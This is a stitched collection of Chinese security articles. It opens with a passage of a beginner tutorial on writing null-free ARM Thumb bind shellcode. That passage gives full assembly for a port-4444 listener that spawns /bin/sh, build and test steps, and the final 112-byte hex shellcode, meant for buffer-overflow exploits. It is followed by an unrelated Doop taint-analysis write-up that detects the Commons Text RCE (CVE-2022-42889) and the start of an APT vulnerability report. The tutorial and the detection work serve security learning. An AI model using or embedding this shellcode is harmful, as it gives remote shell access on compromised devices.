number）。观察上述C代码，我们可知需要使用这几个函数：socket、bind、listen、accept、dup2以及execve。我们可以使用如下命令找到这些函数的系统调用号：
pi@raspberrypi:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket
#define __NR_socketcall (__NR_SYSCALL_BASE+102)
#define __NR_socket (__NR_SYSCALL_BASE+281)
#define __NR_socketpair (__NR_SYSCALL_BASE+288)
#undef __NR_socketcall
需要注意的是，`_NR_SYSCALL_BASE`的值为0：
root@raspberrypi:/home/pi# grep -R "__NR_SYSCALL_BASE" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0
我们所需的所有系统调用号如下所示：
#define __NR_socket (__NR_SYSCALL_BASE+281)
#define __NR_bind (__NR_SYSCALL_BASE+282)
#define __NR_listen (__NR_SYSCALL_BASE+284)
#define __NR_accept (__NR_SYSCALL_BASE+285)
#define __NR_dup2 (__NR_SYSCALL_BASE+ 63)
#define __NR_execve (__NR_SYSCALL_BASE+ 11)
我们可以查找Linux的[man页面](//w3challs.com/syscalls/?arch=arm_strong))，了解每个函数所需的参数，也可以访问[w3challs.com](https://w3challs.com/syscalls/?arch=arm_strong)查找相关内容。
接下来我们需要找到这些参数的具体取值。一种方法是使用strace来查看已成功建连的bind
shell。strace命令可以用来跟踪系统调用、监视进程与Linux内核之间的交互。我们用strace来测试一下C版本的bind
shell。为了减少冗余信息，我限制了输出结果，只关心我们感兴趣的那几个函数。
Terminal 1:
pi@raspberrypi:~/bindshell $ gcc bind_test.c -o bind_test
pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test
Terminal 2:
pi@raspberrypi:~ $ netstat -tlpn
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 1058/bind_test
pi@raspberrypi:~ $ netcat -nv 0.0.0.0 4444
Connection to 0.0.0.0 4444 port [tcp/*] succeeded!
strace的输出结果如下所示：
pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test
execve("./bind_test", ["./bind_test"], [/* 49 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 2) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", [0], [/* 0 vars */]) = 0
现在，我们可以记录下汇编语言的bind shell中函数所需的参数值，如下图所示：
## 四、逐个变换
在上一个步骤中，我们已经解答了如下几个问题，获得了汇编程序所需的所有信息：
1、我们需要哪些函数？
2、这些函数的系统调用号是多少？
3、这些函数的参数是什么？
4、这些参数的具体取什么值？
接下来我们需要综合利用这些信息，将C代码转化为汇编代码。我们可以逐个分析每个函数，重复如下过程：
1、确定每个参数所需使用的具体寄存器。
2、了解如何将所需值传递给这些寄存器。
（1）如何将某个立即数（immediate value）传递给某个寄存器。
（2）如何在不直接使用0的情况下清零某个寄存器（我们需要避免在代码中使用null字节，因此必须找到其他方法来清零寄存器或者内存中的某个值）。
（3）如何让寄存器指向保存常量及字符串的内存区域。
3、使用正确的系统调用号来调用函数，同时保持跟踪寄存器的内容变化。
（1）需要注意的是，系统调用的结果会落在r0寄存器中，也就是说，如果我们需要在另一个函数中利用之前那个函数的返回结果，那么我们需要在调用另一个函数前，将该结果保存到另一个寄存器中。
（2）举个例子：`host_sockid = socket(2, 1,
0)`，socket调用的返回结果（`host_sockid`）会落在r0寄存器中。如`listen(host_sockid,
2)`之类的其他函数会复用这个结果，因此我们需要将结果保存到另一个寄存器中。
### 4.1 切换到Thumb模式
为了减少碰到null字节的可能性，我们要做的第一件事情就是使用Thumb模式。在Arm模式中，使用的是32位指令，在Thumb模式中，指令为16位。这意味着在减少指令大小的前提下，我们已经可以减少碰到null字节的概率。回顾一下如何切换到Thumb模式：ARM指令必须为4字节对齐指令。为了从ARM模式切换到Thumb模式，我们可以将PC寄存器的值加1，将（PC寄存器中）下一条指令地址的LSB（Least
Significant
Bit，最低有效位）设置为1，然后将其保存到另一个寄存器中。接下来，使用BX（分支（Branch）及交换（eXchange））指令跳转到另一个寄存器，这样处理器就会切换到Thumb模式。上面这段话对应如下两条指令：
.section .text
.global _start
_start:
.ARM
add r3, pc, #1
bx r3
从此时起，你写的就是Thumb代码，因此需要在代码中使用`.THUMB`指示性语句（directive）。
### 4.2 创建新的Socket
我们所需的socket调用参数的值如下：
root@raspberrypi:/home/pi# grep -R "AF_INET|PF_INET |SOCK_STREAM =|IPPROTO_IP =" /usr/include/
/usr/include/linux/in.h: IPPROTO_IP = 0, // Dummy protocol for TCP
/usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1, // Sequenced, reliable, connection-based
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2 // IP protocol family.
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INET
设置完参数后，我们可以使用`svc`指令调用socket系统调用，所得结果为`host_sockid`，最终存放在r0寄存器中。由于我们后面还需要用到`host_sockid`，因此我们可以将这个值存放到r4寄存器中。
在ARM中，我们不能简单地将任何立即数移动到寄存器中。如果你对这一细节比较感兴趣，你可以阅读这篇[参考文章](https://azeria-labs.com/memory-instructions-load-and-store-part-4/)（在比较靠后的章节）。
为了检查我们是否可以使用某个立即数，我写了一个简单的脚本：[rotator.py](https://raw.githubusercontent.com/azeria-labs/rotator/master/rotator.py)
pi@raspberrypi:~/bindshell $ python rotator.py
Enter the value you want to check: 281
Sorry, 281 cannot be used as an immediate number and has to be split.
pi@raspberrypi:~/bindshell $ python rotator.py
Enter the value you want to check: 200
The number 200 can be used as a valid immediate number.
50 ror 30 --> 200
pi@raspberrypi:~/bindshell $ python rotator.py
Enter the value you want to check: 81
The number 81 can be used as a valid immediate number.
81 ror 0 --> 81
最终的代码片段为：
.THUMB
mov r0, #2
mov r1, #1
sub r2, r2, r2
mov r7, #200
add r7, #81 // r7 = 281 (socket syscall number)
svc #1 // r0 = host_sockid value
mov r4, r0 // save host_sockid in r4
### 4.3 绑定Socket到本地端口
通过第一条命令，我们将一个包含地址族、主机端口以及主机地址的结构体对象存放在文字池（literal
pool）中，通过pc相对地址来引用这个对象。文字池是同一个section中的一段内存区域（因为文字池本身就是代码中的一部分），可以存放常量、字符串或者偏移量。我们无需手动计算pc相对地址，相反，我们可以使用带有便签（label）的ADR指令完成这一任务。ADR可以接受PC相对表达式，也就是带有可选偏移量的标签，其中标签的地址为与PC标签有关的相对地址。如下所示：
// bind(r0, &sockaddr, 16)
adr r1, struct_addr // pointer to address, port
[...]
struct_addr:
.ascii "x02xff" // AF_INET 0xff will be NULLed
.ascii "x11x5c" // port number 4444
.byte 1,1,1,1 // IP Address
接下来的5条指令为STRB（store byte）指令。STRB指令可以将寄存器中的一个字节存储到某个内存区域中。`[r1,
#1]`语句的意思是将R1作为基地址，使用立即数（`#1`）作为偏移量。
在第一条指令中，我们将R1指向了存放AF_INET、本地端口以及IP地址的那个内存区域。我们可以使用静态IP地址，也可以直接使用`0.0.0.0`这个地址，这样我们的bind
shell就会监听在目标主机所有的IP地址上，shellcode也更加灵活。但这样代码中会包含许多null字节。
我们需要处理掉所有的null字节，以便让我们的shellcode能够适配许多漏洞利用场景，因为某些漏洞利用技术针对的是内存损坏漏洞，而这种漏洞可能对null字节比较敏感。如果开发者没有正确使用诸如`strcpy`之类的函数，那么就会造成缓冲区溢出。`strcpy`的任务是拷贝数据，遇到null字节时才停止工作。我们利用缓冲区溢出来接管程序的执行流程，如果`strcpy`碰到null字节，那么它会停止复制我们的shellcode，因此我们的漏洞利用过程就无法顺利完成。使用STRB指令后，我们可以从寄存器中取出null字节，在执行过程中修改我们的代码。这样一来，虽然实际上我们的shellcode中没有包含null字节，但可以通过动态方式将null值添加到合适的位置中。为了实现这个功能，我们需要可写的代码段，只需在程序链接过程中使用`-N`标志即可。
这样处理后，我们的代码中已经不包含null字节，需要的时候再将null字节动态存放到合适的位置。如下图所示，我们最开始使用的是`1.1.1.1`这个IP地址，在执行过程中，这个地址会被替换为`0.0.0.0`。
第一条STRB指令会将`x02xff`中`xff`这个占位符替换为`x00`，以便将AF_INET设置为`x02x00`。那么我们怎么知道我们使用的是一个null字节呢？原因是r2寄存器存放的恰恰就是0。还记得前面我们用过的`sub
r2, r2, r2`指令吗？这条指令会将r2寄存器清零。接下来的4条指令会将`1.1.1.1`替换为`0.0.0.0`。如果你不想在`strb r2,
[r1, #1]`指令后面使用4条strb指令，那么你可以使用1条`str r2, [r1, #4]`指令，也会起到同样效果。
`mov`指令会将`sockaddr_in`结构的长度值（16个字节，其中AF_INET占了2字节，PORT占了2字节，IP地址占了4字节，还有8字节的填充数据）存放到r2中。接下来，我们将r7的值加1，变成282，因为上一条系统调用后r7的值为281。
// bind(r0, &sockaddr, 16)
adr r1, struct_addr // pointer to address, port
strb r2, [r1, #1] // write 0 for AF_INET
strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1
strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1
strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1
strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x
mov r2, #16
add r7, #1 // r7 = 281+1 = 282 (bind syscall number)
svc #1
nop
### 4.4 监听连接
这个步骤中，我们将之前保存的`host_sockid`存放到r0中。将R1设置为2，让r7的值加2（因为上一个系统调用后r7为282）。
mov r0, r4 // r0 = saved host_sockid
mov r1, #2
add r7, #2 // r7 = 284 (listen syscall number)
svc #1
### 4.5 接受连接
这里我们同样需要将前面保存的`host_sockid`存放到r0中。由于我们要避开null字节，因此我们不会直接将`#0`移动到r1和r2中，相反，我们通过减法让这些寄存器清零。然后将R7值加1。调用完成后我们可以得到`client_sockid`，将这个值存放到r4中即可，此时我们已经不再需要将`host_sockid`保存到这个位置（我们会跳过C代码中的`close`函数调用语句）。
mov r0, r4 // r0 = saved host_sockid
sub r1, r1, r1 // clear r1, r1 = 0
sub r2, r2, r2 // clear r2, r2 = 0
add r7, #1 // r7 = 285 (accept syscall number)
svc #1
mov r4, r0 // save result (client_sockid) in r4
### 4.6 STDIN/STDOUT/STDERR
`dup2`函数的系统调用号为63。此时，我们需要将前面保存的`client_sockid`再次移动到r0中，然后通过sub指令将r1设置为0。对于剩下的两个`dup2`调用语句，我们只需要在每次系统调用完成后，改变r1的值，将r0重置为`client_sockid`即可。
/* dup2(client_sockid, 0) */
mov r7, #63 // r7 = 63 (dup2 syscall number)
mov r0, r4 // r4 is the saved client_sockid
sub r1, r1, r1 // r1 = 0 (stdin)
svc #1
/* dup2(client_sockid, 1) */
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 1 (stdout)
svc #1
/* dup2(client_sockid, 2) */
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 1+1 (stderr)
svc #1
### 4.7 启动shell
// execve("/bin/sh", 0, 0)
adr r0, shellcode // r0 = location of "/bin/shX"
eor r1, r1, r1 // clear register r1. R1 = 0
eor r2, r2, r2 // clear register r2. r2 = 0
strb r2, [r0, #7] // store null-byte for AF_INET
mov r7, #11 // execve syscall number
svc #1
nop
我在[如何编写ARM Shellcode教程](https://azeria-labs.com/writing-arm-shellcode/)中给出了一个例子，这里`execve()`函数的转换过程与之前的例子相同，因此我不会再去详细解释具体步骤。
最后，我们需要在汇编代码的末尾存放一些值，如AF_INET（包含`0xff`数值，后面会被null字节替换）、端口号、IP地址以及`/bin/sh`字符串。
struct_addr:
.ascii "x02xff" // AF_INET 0xff will be NULLed
.ascii "x11x5c" // port number 4444
.byte 1,1,1,1 // IP Address
shellcode:
.ascii "/bin/shX"
## 五、完整汇编代码
我们最终生成的bind shellcode如下所示：
.section .text
.global _start
_start:
.ARM
add r3, pc, #1 // switch to thumb mode
bx r3
.THUMB
// socket(2, 1, 0)
mov r0, #2
mov r1, #1
sub r2, r2, r2 // set r2 to null
mov r7, #200 // r7 = 281 (socket)
add r7, #81 // r7 value needs to be split
svc #1 // r0 = host_sockid value
mov r4, r0 // save host_sockid in r4
// bind(r0, &sockaddr, 16)
adr r1, struct_addr // pointer to address, port
strb r2, [r1, #1] // write 0 for AF_INET
strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1
strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1
strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1
strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x
mov r2, #16 // struct address length
add r7, #1 // r7 = 282 (bind)
svc #1
nop
// listen(sockfd, 0)
mov r0, r4 // set r0 to saved host_sockid
mov r1, #2
add r7, #2 // r7 = 284 (listen syscall number)
svc #1
// accept(sockfd, NULL, NULL);
mov r0, r4 // set r0 to saved host_sockid
sub r1, r1, r1 // set r1 to null
sub r2, r2, r2 // set r2 to null
add r7, #1 // r7 = 284+1 = 285 (accept syscall)
svc #1 // r0 = client_sockid value
mov r4, r0 // save new client_sockid value to r4
// dup2(sockfd, 0)
mov r7, #63 // r7 = 63 (dup2 syscall number)
mov r0, r4 // r4 is the saved client_sockid
sub r1, r1, r1 // r1 = 0 (stdin)
svc #1
// dup2(sockfd, 1)
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 1 (stdout)
svc #1
// dup2(sockfd, 2)
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 2 (stderr)
svc #1
// execve("/bin/sh", 0, 0)
adr r0, shellcode // r0 = location of "/bin/shX"
eor r1, r1, r1 // clear register r1. R1 = 0
eor r2, r2, r2 // clear register r2. r2 = 0
strb r2, [r0, #7] // store null-byte for AF_INET
mov r7, #11 // execve syscall number
svc #1
nop
struct_addr:
.ascii "x02xff" // AF_INET 0xff will be NULLed
.ascii "x11x5c" // port number 4444
.byte 1,1,1,1 // IP Address
shellcode:
.ascii "/bin/shX"
## 六、测试shellcode
将以上汇编代码保存为`bind_shell.s`文件。在使用`ld`命令时，记得加上`-N`标志。之所以这么做，是因为我们使用了多个strb操作来修改我们的代码段（`.text`）。这就要求代码段处于可写状态，我们可以在链接过程中添加`-N`标志完成这个任务。
pi@raspberrypi:~/bindshell $ as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell
pi@raspberrypi:~/bindshell $ ./bind_shell
接下来，连接到我们设定的那个端口。
pi@raspberrypi:~ $ netcat -vv 0.0.0.0 4444
Connection to 0.0.0.0 4444 port [tcp/*] succeeded!
uname -a
Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux
成功了！现在，我们可以将程序转换为十六进制字符串，命令如下：
pi@raspberrypi:~/bindshell $ objcopy -O binary bind_shell bind_shell.bin
pi@raspberrypi:~/bindshell $ hexdump -v -e '"\""x" 1/1 "%02x" ""' bind_shell.bin
x01x30x8fxe2x13xffx2fxe1x02x20x01x21x92x1axc8x27x51x37x01xdfx04x1cx12xa1x4ax70x0ax71x4ax71x8ax71xcax71x10x22x01x37x01xdfxc0x46x20x1cx02x21x02x37x01xdfx20x1cx49x1ax92x1ax01x37x01xdfx04x1cx3fx27x20x1cx49x1ax01xdfx20x1cx01x31x01xdfx20x1cx01x31x01xdfx05xa0x49x40x52x40xc2x71x0bx27x01xdfxc0x46x02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58
我们得到了bind
shellcode！这段shellcode长度为112个字节。本文是一个初学者教程，为了简单起见，我们并没有尽量去精简这段shellcode。最初的shellcode成功后，大家可以使用各种方法来缩减指令数，这样就能缩短shellcode篇幅。
希望大家读完本文后能有所收获，可以利用所学知识来编写自己的shellcode。如果有任何意见或建议，请随时与我联系。 | 社区文章 |
本文基于笔者对doop静态程序分析框架源代码和规则学习，并结合对目前漏洞公开技术细节的学习，修改增强doop app
only模式下的分析规则后，实现通过doop工具识别commons text
rce漏洞（CVE-2022-42889）。内容包含三部分，第一部分简单介绍doop分析框架，第二部分简单介绍commons
text漏洞的原理和代码调用栈，第三部分重点介绍如何改造doop app only模式下的规则以识别commons text漏洞的污点信息流。
### 一、doop静态分析框架简介
doop静态分析框架由希腊雅典大学plast-lab Yannis
Smaragdakis团队设计开发，目前看是一款开源领域的比较先进的程序静态分析框架，一些程序静态分析论文的理论也有通过doop的规则实现后实验。
doop整体架构简单明了，符合通常静态代码漏洞扫描工具扫描器内核的设计思路。doop架构上由groovy写的调用程序“粘合”在一起，通过调用fact-generator和datalog分析器，得出自动化的分析结果。
下面是笔者画的doop整体架构图，包含doop中一些关键的组件模块：
doop支持对java源码及字节码的分析，不过源码的jdk版本受限，建议直接使用字节码进行分析。doop的fact
generator模块会对输入进行解析（例如jar包的解析或者类的resolve从而加载进必要的类信息到内存中），再调用soot、wala等工具生成jimple
IR，在此基础上生成后续分析引擎需要的facts文件。而后doop使用LogicBlox（目前doop已不维护）或者Soufflé（开源的datalog分析引擎），基于facts文件和既定的datalog分析规则文件进行分析，得到最终的程序分析结果。
doop核心是其实现的一套datalog分析规则，其中包含了由粗糙到精细的context-insensitive、1-call-site-sensitive、1-call-site-sensitive+heap的丰富的静态程序分析策略等等等，同时通过在addons中添加了额外的对信息流分析、对spring等生态框架、对java反射特性的支持，十分强大。
以上是对doop的架构和功能的简单介绍，jar包信息的解析、规则的预处理、编译执行和解释执行、程序的并发设计或者由于大量sootclass加载造成的内存溢出问题等一些细节由于篇幅限制不在此介绍。
### 二、commons text rce漏洞简介
先对该漏洞进行简单介绍。
Apache Commons
Text是一款处理字符串和文本块的开源项目，之前被披露存在CVE-2022-42889远程代码执行漏洞，这个漏洞目前网上的分析文章比较多，在此不做复述。该漏洞原理上有点类似log4j2，当然影响不可相比，其代码中存在可以造成代码执行的插值器，例如ScriptStringLookup（当然这里提到这个插值器是因为我们目标就是分析这一条sink污点流），同时没有对输入字符串的安全性进行验证导致问题。
借用网上公开的poc触发ScriptStringLookup中的代码执行，使用commons text 1.9版本 ：
完整的漏洞调用栈如下：
从调用栈可以看出，通过调用commons
text的字符串替换函数，可以调用到ScriptStringLookup类的lookup方法，从而调用scriptEngine.eval执行代码。可以看出该条漏洞链路较浅，但链路关键节点也涉及了接口抽象类的cast、输入字符串的词法分析状态机以及各种字符串的处理函数，作为实验对象非常合适。
### 三、commons text rce污点信息流的doop识别规则
我们选取上述二中commons text中org.apache.commons.text.StringSubstitutor
replace函数作为source，ScriptEngine eval函数作为sink。
将doop设置app only模式去进行分析，doop在app
only模式下会将!ApplicationMethod(?signature)加入isOpaqueMethod(?signature)，这样一些分析不会进入jdk的类中，可以大大提高doop的分析效率。依据莱斯定理，静态程序分析难以达到完全的完备(truth或者perfect)，也是尽可能优化sound。类似在企业级的SAST部署使用也是如此，也需要在扫描精度、扫描速度以及实际可用性中进行取舍或者平衡，所以doop的app
only模式下在个人看来更接近实际嵌入到devsecops中的轻量级静态代码漏洞扫描的应用。
#### 1.doop的datalog分析规则简单介绍
由于涉及doop app only规则的改造，首先先简单介绍doop使用的datalog规则。
doop目前维护使用开源的Soufflé分析datalog规则。datalog是声明式的编程语言，也是prolog语言的非图灵完备子集，所以本质上也是建立在形式逻辑中的一阶逻辑上。所以基础概念也是命题推导，在Soufflé的形式上就是表现为关系（relation）。
如下例子：
很明显可以看出该例子通过datalog定义的关系逻辑实现相等关系的自反性、对称性和传递性，首先定义了equivalence关系，该关系可以由rel1和rel2关系蕴涵得到，而equivalence的a需要满足关系rel1，b需要满足关系rel2。具体语法和高阶特性可以通过[souffle-lang.github.io](https://souffle-lang.github.io/)网站进行了解。
#### 2.doop配置使用简单介绍
doop可以通过gradle去编译使用，需要提前在类unix系统中借助cmake编译安装Soufflé，doop的具体安装使用可以在[<https://github.com/plast-lab/doop-mirror](https://github.com/plast-lab/doop-mirror中了解。>
对doop的命令行使用进行简单，分析，有几个关键的命令参数，-i参数接受需要分析的文件（例如jar包），-a参数配置分析策略（例如是选择context
sensitive还是context insensitive），--app-only参数配置开启doop的app only模式，--information-flow开启doop的信息流分析模式（可以用来做污点分析），--platform设置分析需要的jdk平台，--fact-gen-cores配置生成facts的并发性。
本文使用的doop命令参数：
-a context-insensitive --app-only --information-flow spring --fact-gen-cores 4 -i docs/commons-text.jar --platform java_8 --stats none
#### 3.重新编译打包commons text
这是我最初使用doop分析commos
text的方法，主要为了尽可能减轻的对原生规则的侵入。doop在使用jackee进行分析事，分析入口的确定及一些mockobject的构建都需要依赖于对springmvc注解的识别。
下载commons text的源码，自定义两条class和method注解TestctxTaintedClassAnnotation、
TestctxTaintedParamAnnotation：
注解实现为一个空注解，主要是为了标注一下我们的source，将注解打到对应的class类和方法：
重新编译打包为jar包，得到2中命令参数-i的commons-text.jar。
#### 4.改造doop app only下的规则
doop的污点信息流识别依赖于指针分析结果，同时也依赖污点转移函数。doop中已经预置了多条污点转移函数，其中包含了字符串、链表、迭代器等基础类方法。
ParamToBaseTaintTransferMethod(0, "<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.Object)>").
ParamToBaseTaintTransferMethod(0, "<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.String)>").
ParamToBaseTaintTransferMethod(0, "<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.StringBuffer)>").
ParamToBaseTaintTransferMethod(0, "<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.CharSequence)>").
ParamToBaseTaintTransferMethod(0, "<java.lang.StringBuffer: java.lang.StringBuffer append(char[])>").
ParamToBaseTaintTransferMethod(0, "<java.lang.StringBuffer: java.lang.StringBuffer append(char)>").
BaseToRetTaintTransferMethod("<java.lang.Float: float floatValue()>").
BaseToRetTaintTransferMethod("<java.lang.String: byte[] getBytes(java.lang.String)>").
BaseToRetTaintTransferMethod("<java.lang.String: char charAt(int)>").
BaseToRetTaintTransferMethod("<java.util.Enumeration: java.lang.Object nextElement()>").
BaseToRetTaintTransferMethod("<java.util.Iterator: java.lang.Object next()>").
BaseToRetTaintTransferMethod("<java.util.LinkedList: java.lang.Object clone()>").
BaseToRetTaintTransferMethod("<java.util.LinkedList: java.lang.Object get(int)>").
BaseToRetTaintTransferMethod("<java.util.Map: java.util.Set entrySet()>").
BaseToRetTaintTransferMethod("<java.util.Map$Entry: java.lang.Object getValue()>").
BaseToRetTaintTransferMethod("<java.util.Set: java.util.Iterator iterator()>").
BaseToRetTaintTransferMethod("<java.lang.String: char[] toCharArray()>").
BaseToRetTaintTransferMethod("<java.lang.String: java.lang.String intern()>").
然而其中没有包含String split函数的污点转移规则，需要添加上：
BaseToRetTaintTransferMethod("<java.lang.String: java.lang.String[] split(java.lang.String,int)>").
如上述，doop自有的jackee规则肯定没有包含我们自定义的注解，所以需要在EntryPointClass、Mockobj等关系定义中添加对我们自定义的class污点注解的识别。
EntryPointClass(?type) :- //...
Type_Annotation(?type, "org.apache.commons.text.TestctxTaintedClassAnnotation");
//...
MockObject(?mockObj, ?type) :- //...
Type_Annotation(?type, "org.apache.commons.text.TestctxTaintedClassAnnotation");
同时也需要添加param污点的注解。doop需要通过这些注解识别分析入口方法，构建污点mockobj，建立初始的指向关系等。
//...
mainAnalysis.VarPointsTo(?hctx, cat(cat(cat(cat(?to, "::: "), ?type), "::: "), "ASSIGN"), ?ctx, ?to) :- FormalParam(?idx, ?meth, ?to),
(Param_Annotation(?meth, ?idx, "org.springframework.web.bind.annotation.RequestParam");
Param_Annotation(?meth, ?idx, "org.springframework.web.bind.annotation.RequestBody");
Param_Annotation(?meth, ?idx, "org.apache.commons.text.TestctxTaintedParamAnnotation");
为了确保方法的可达性，我们还添加了：
ImplicitReachable("<org.apache.commons.text.StringSubstitutor: java.lang.String replace(char[])>") :- isMethod("<org.apache.commons.text.StringSubstitutor: java.lang.String replace(char[])>").
但后续看不一定有必要，仅供参考。
通过注解我们在规则中定义了source，接下来需要定义sink，我们将ScriptEngine的eval方法定义为sink：
LeakingSinkMethodArg("default", 0, method) :- isMethod(method), match("<javax.script.ScriptEngine: java.lang.Object eval[(].*[)]>", method).
正如前述，由于是在app
only下，doop下通过OpaqueMethod关系过滤了jdk类的识别，这样会导致相应的上述预置的污点转移函数无法完成污点转移，所以需要另外定制规则流去将转移函数包含进数据流分析过程。
于是需要定义OptTaintedtransMethodInvocationBase关系，
.decl OptTaintedtransMethodInvocationBase(?invocation:MethodInvocation,?method:Method,?ctx:configuration.Context,?base:Var)
OptTaintedtransMethodInvocationBase(?invocation,?tomethod,?ctx,?base) :- ReachableContext(?ctx, ?inmethod),
//Reachable(?inmethod),
Instruction_Method(?invocation, ?inmethod),
(
_VirtualMethodInvocation(?invocation, _, ?tomethod, ?base, _);
_SpecialMethodInvocation(?invocation, _, ?tomethod, ?base, _)
).
在此基础上，为了完成新的污点转移，doop需要根据以下自定义规则分析出返回值的类型信息
.decl MaytaintedInvocationInfo(?invocation:MethodInvocation,?type:Type,?ret:Var)
MaytaintedInvocationInfo(?invocation, ?type, ?ret) :- Method_ReturnType(?method, ?type),
MethodInvocation_Method(?invocation, ?method),
AssignReturnValue(?invocation, ?ret).
.decl MaytaintedTypeForReturnValue(?type:Type, ?ret:Var, ?invocation:MethodInvocation)
MaytaintedTypeForReturnValue(?type, ?ret, ?invocation) :- MaytaintedInvocationInfo(?invocation, ?type, ?ret),
!VarIsCast(?ret).
基于以上的污点转移过程分析规则，应用到污点变量的转移分析规则中
VarIsTaintedFromVar(?type, ?ctx, ?ret, ?ctx, ?base) :- //mainAnalysis.OptTaintedtransMethodInvocationBase(?invocation,?method,?base),
mainAnalysis.OptTaintedtransMethodInvocationBase(?invocation,?method,?ctx,?base),
MaytaintedTypeForReturnValue(?type, ?ret, ?invocation),
BaseToRetTaintTransferMethod(?method).
//mainAnalysis.VarPointsTo(_, _, ?ctx, ?base).
同时也需要重新定义LeakingSinkVariable关系，因为我们这里自定义的sink方法也是Opaque方法，这样才能识别到我们的ScriptEngine
的eval方法。
LeakingSinkVariable(?label, ?invocation, ?ctx, ?var) :- LeakingSinkMethodArg(?label, ?index, ?tomethod),
mainAnalysis.OptTaintedtransMethodInvocationBase(?invocation,?tomethod,?ctx,?base),
//mainAnalysis.VarPointsTo(_, _, ?ctx, ?base),//here problem
ActualParam(?index, ?invocation, ?var).
从上面规则的定义可以看出，改造的流程还是比较清晰的，并且通过关系的名字，这些关系的含义和用途也很容易理解。添加这些自定义规则到我们的doop分析中运行，在结果中可以看出，doop完成了对commons
text的污点信息流的识别。
在结果集中的LeakingTaintedInformation.csv文件中可以找到我们需要捕捉到的souce-sink流，
default default <<immutable-context>> <org.apache.commons.text.lookup.ScriptStringLookup: java.lang.String lookup(java.lang.String)>/javax.script.ScriptEngine.eval/0 <org.apache.commons.text.StringSubstitutor: java.lang.String replace(java.lang.String)>/@parameter0
LeakingTaintedInformation.csv给出了污点信息。包括污点的标签（这里是默认的default，可以自定义），sink方法的调用信息，该sink方法对应的污点源头souce信息。
如上图可以看出org.apache.commons.text.lookup.ScriptStringLookup: java.lang.String
lookup(java.lang.String)中调用到javax.script.ScriptEngine.eval，并且污点的源头是org.apache.commons.text.StringSubstitutor:
java.lang.String replace(java.lang.String)方法的参数parameter0。
同时，在结果集中的AppTaintedVar.csv文件也可以看到具体的应用代码中由于污点传播过程中的被污染的变量.以上面commons text
漏洞执行方法栈中的resolveVariable方法为例：
可以看出方法中被污染的入参variableName、buf，还有resolver，以及$stack7等(这是经过soot生成jimple的过程中SSA
pack部分优化新增的栈变量)。
基于这两个结果集基本可以看出漏洞的触发流程或者说污点的传播过程（虽然不是特别直观），如果需要也可以再搭配生成的CallGraphEdge.csv去更方便的进行分析。
### 四、总结
doop直接用来分析大型项目需要一定的计算资源，并且无论是规则的定制还是分析结果查看都不是特别直观，毕竟它的设计初衷就是一款分析框架，用在实际漏扫漏洞挖掘中可能需要进一步包装修改
。但可以看出，doop作为一款优秀的开源静态分析框架，在算法上毋庸置疑是比较先进和丰富的，而且基于开源的算法规则，我们可以任意去定制我们需要的分析逻辑。其与codeql在设计思路也较为相近，将程序信息提取后生成数据库，开放查询接口，将程序分析转变为数据关系的查询，可以扩展出更多的用途。
目前网上深入分析doop的文章不是特别多，笔者水平有限平时也无时间投入做专门技术研究，希望师傅们指正和私信交流。 | 社区文章 |
# 近年来APT组织使用的10大（类）安全漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
APT攻击（Advanced Persistent
Threat，高级持续性威胁）是利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式。APT攻击的原理相对于其他攻击形式更为高级和先进，其高级性主要体现在精确的信息收集、高度的隐蔽性、以及使用各种复杂的目标系统/应用程序漏洞等方面。
为了能够更加全面的了解全球APT研究的前沿成果，360威胁情报中心对APT攻击中最重要的部分（APT组织所使用的安全漏洞）进行了梳理，在参考了各类APT研究报告和研究成果、APT攻击活动或APT组织最常使用的漏洞、以及漏洞的价值等几项指标后，并结合360威胁情报中心对APT攻击这类网络战的理解，筛选出近年来APT组织所使用的10大（类）安全漏洞。
在本报告中360威胁情报中心首先会阐述APT组织使用的主流漏洞的价值评定标准和各APT组织最常用的漏洞类别，这些组成了评选这10大（类）漏洞的主要观点和理由。然后针对APT组织使用的10大（类）安全漏洞选出最具代表性的单个漏洞，并对每个漏洞的背景、利用及影响范围、相关APT组织和重要事件进行介绍，之后提出对每类漏洞的防护对策和建议。最后，基于之前章节的分析，360威胁情报中心针对APT使用的漏洞发展趋势进行了总结并提出了自己的一些结论。
## 主要观点
